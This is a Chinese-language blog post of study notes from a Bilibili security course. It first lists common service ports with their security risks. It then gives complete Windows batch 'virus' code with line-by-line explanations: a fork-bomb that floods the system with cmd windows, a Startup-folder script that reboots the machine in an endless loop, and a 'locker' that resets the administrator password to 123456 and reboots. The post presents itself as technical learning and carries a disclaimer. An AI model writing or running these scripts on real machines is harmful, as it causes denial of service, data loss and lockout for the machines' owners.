声明:学习视频来自b站up主 泷羽sec,如涉及侵权马上删除文章
声明:本文主要用作技术分享,所有内容仅供参考。任何使用或依赖于本文信息所造成的法律后果均与本人无关。请读者自行判断风险,并遵循相关法律法规。
感谢泷羽sec 团队的教学
视频地址:Windows基础之病毒编写(完结)_哔哩哔哩_bilibili
本文主要讲解常见端口对应的服务及所存在的安全风险、bat病毒的编写。
一、常见端口及其对应的安全风险
- FTP (21):文件传输协议(FTP)通常以明文形式传输数据,包括用户名和密码,因此容易受到网络嗅探攻击。
- Telnet (23):Telnet协议也以明文传输数据,没有加密保护,因此同样容易受到网络嗅探攻击。
- HTTP (80):超文本传输协议(HTTP)如果不使用加密,数据传输过程中可能受到中间人攻击,如XSS(跨站脚本攻击)和CSRF(跨站请求伪造)。
- HTTPS (443):安全超文本传输协议(HTTPS)使用SSL/TLS加密,但如果配置不当,可能会存在漏洞,如心脏滴血(Heartbleed)漏洞。
- SMB/CIFS (445):服务器消息块/公共互联网文件系统(SMB/CIFS)协议可能受到勒索软件攻击和未授权访问。
- MSSQL (433):微软SQL服务器可能存在弱密码和未授权访问的风险。
- Oracle (1521):Oracle数据库可能存在默认弱口令和未授权访问的风险。
- cPanel (2082/2083):cPanel主机管理系统如果使用默认凭据,容易被攻击。
- DA (2222):虚拟主机管理系统(DA)如果使用默认弱口令,也容易受到攻击。
- Squid 代理 (3128):如果未授权访问和配置错误,可能导致信息泄露。
- MySQL (3306):MySQL数据库可能存在弱密码和未授权访问的风险。
- Kangle (3311/3312):Kangle主机管理系统如果使用默认凭据,容易受到攻击。
- RDP (3389):远程桌面协议(RDP)可能面临暴力破解和未授权访问的风险。
- PostgreSQL (5432):PostgreSQL数据库可能存在弱密码和未授权访问的风险。
- VNC (5900):虚拟网络计算(VNC)如果使用默认凭据,容易受到攻击。
- Redis (6379):Redis数据库可能存在数据泄露和未授权执行命令的风险。
- WebLogic (7001/7002):WebLogic服务器可能存在默认弱口令和反序列化漏洞,可能导致远程代码执行。
- Kloxo (7778):Kloxo主机控制面板登录如果使用默认弱口令,容易受到攻击。
- Web管理端口 (8000-9090):常见的Web管理端口可能受到各种Web攻击和未授权访问风险。
- Tomcat/WDCP (8080):Tomcat和WDCP主机管理系统如果使用默认凭据,容易受到攻击。
- JBoss (8089/9090):JBoss应用服务器可能存在默认弱口令和未授权访问的风险。
- VestaCP (8083):VestaCP主机管理系统如果使用默认凭据,容易受到攻击。
- Ganglia (8649):Ganglia监控系统可能泄露监控数据,存在未授权访问风险。
- 宝塔 (8888):宝塔主机管理默认端口如果使用默认弱口令,容易受到攻击。
- Virtualmin/Webmin (10000):Virtualmin/Webmin服务器管理系统如果使用默认凭据,容易受到攻击。
- Memcache (11211):Memcache数据库可能存在数据泄露和未授权访问的风险。
- MongoDB (27017/27018):MongoDB数据库可能存在数据泄露、恶意命令执行和未授权访问的风险。
- MongoDB 统计系统页面 (28017):MongoDB统计系统页面可能暴露敏感信息,存在未授权访问风险。
二、bat病毒的编写
1、资源耗尽病毒
echo start cmd > 1.txt
echo %0 >> 1.txt
ren 1.txt 1.bat
脚本解释
echo start cmd > 1.txt
这行命令的作用是创建一个名为1.txt的文本文件,并在其中写入文本start cmd。
echo是一个输出命令,用于将内容写入文件或在命令提示符中显示。
>是重定向符,将输出重定向到1.txt文件。
start cmd表示启动新的命令行窗口。
echo %0 >> 1.txt
这行命令将批处理文件本身的名称追加到1.txt文件的下一行中。
%0代表批处理文件本身的名称。
>>是追加符,用于将内容追加到文件中,而不是覆盖文件。
ren 1.txt 1.bat
该行代码将1.txt文件重命名为1.bat,生成一个执行的批处理文件。
脚本效果就是:当我们双击该1.bat文件时,会自动调出命令行窗口,执行start cmd(启动新的命令行窗口)、1.bat,这里1.bat的效果就是调出命令行窗口,执行start cmd、1.bat命令,如此反复,从而达到无限启动新的命令行窗口效果,占用电脑资源。
具体过程如下:
文件内容:1.bat文件内容是:
start cmd1.bat
它会依次执行start cmd和1.bat。
梯度执行:当运行1.bat时:
首先,start cmd会打开一个新的命令行窗口。
接下来,在命令行窗口中再次调用1.bat文件。
由于1.bat中包含相同的start cmd和1.bat指令,每次运行都会启动新命令行窗口,并在新命令行窗口中继续执行,形成一个无限递归。
效果:这种无限下降会不断启动新的命令行窗口,导致系统资源(CPU、内存)迅速被消耗,直到系统变得无法响应。
效果演示
2、无限重启病毒
echo shutdown /r /t 0 > C:\Windows\Temp\1.bat
copy C:\Windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
脚本解释
echo shutdown /r /t 0 > C:\Windows\Temp\1.bat
这行命令的作用是在C:\Windows\Temp目录下创建一个名为1.bat的批处理文件,并在其中写入文本shutdown /r /t 0。
echo是一个输出命令,用于将内容写入文件或在命令提示符中显示。
>是重定向符,将输出重定向到1.bat文件。
shutdown /r /t 0是立即重新启动计算机的命令。
/r参数表示重启。
/t 0设置重启的延迟为0秒,即立即执行。copy C:\Windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
这行命令将将1.bat文件复制到当前用户的自启动文件夹。
%USERPROFILE% 是一个环境变量,指向当前用户的主目录。
脚本效果就是:当我们双击该1.bat文件时,电脑会立即重启,由于已经将该文件加到了用户自启动目录,因此1.bat文件在每次开机启动时会被执行。由于1.bat文件包含了立即重启命令,系统启动后会立即形成重启,再次触发1.bat,从而无限重启循环。
具体过程如下:
文件内容:1.bat文件内容是:
shutdown /r /t 0
它执行后会立即重新启动计算机。
运行流程:
首次执行:当1.bat文件被执行时,命令shutdown /r /t 0会重新触发计算机重新启动。
自启动设置:由于1.bat文件被放置在用户的自启动目录中,每次系统启动时,1.bat都会自动运行。
效果:这种会造成无限重启循环。
演示效果
20241102235120
3、锁机病毒
echo net user administrator 123456 > C:\Windows\Temp\1.bat
echo shutdown /r /t 0 >> C:\Windows\Temp\1.bat
脚本解释
echo net user administrator 123456 > C:\Windows\Temp\1.bat
这行命令的作用是在C:\Windows\Temp目录下创建一个名为1.bat的批处理文件,并在其中写入文本net user administrator 123456。
echo是一个输出命令,用于将内容写入文件或在命令提示符中显示。
>是重定向符,将输出重定向到1.bat文件。
net user administrator 123456是修改本地管理员账户 ( administrator) 的密码为123456。
echo shutdown /r /t 0 >> C:\Windows\Temp\1.bat
这行命令的作用是将shutdown /r /t 0 命令加到1.bat批处理文件的下一行中。
echo是一个输出命令,用于将内容写入文件或在命令提示符中显示。
>>是追加符,用于将内容追加到文件中,而不是覆盖文件。
shutdown /r /t 0是立即重新启动计算机的命令。
/r参数表示重启。
/t 0设置重启的延迟为0秒,即立即执行。
脚本效果就是:当1.bat文件被执行后,本地管理员账户 ( administrator) 的密码会被修改为123456并且计算机会立即进行重启,然而,由于原本密码被修改,导致用户无法使用本地管理员账户登录,从而达到“锁机”效果。
具体过程:
文件内容:1.bat文件内容是:
net user administrator 123456 shutdown /r /t 0
它执行后会先重新设置管理员账户的密码,然后立即重启计算机。
效果:当计算机重新启动后,原本的管理员密码已被更改,用户将无法使用旧密码登录管理员账户。
效果演示
20241102242335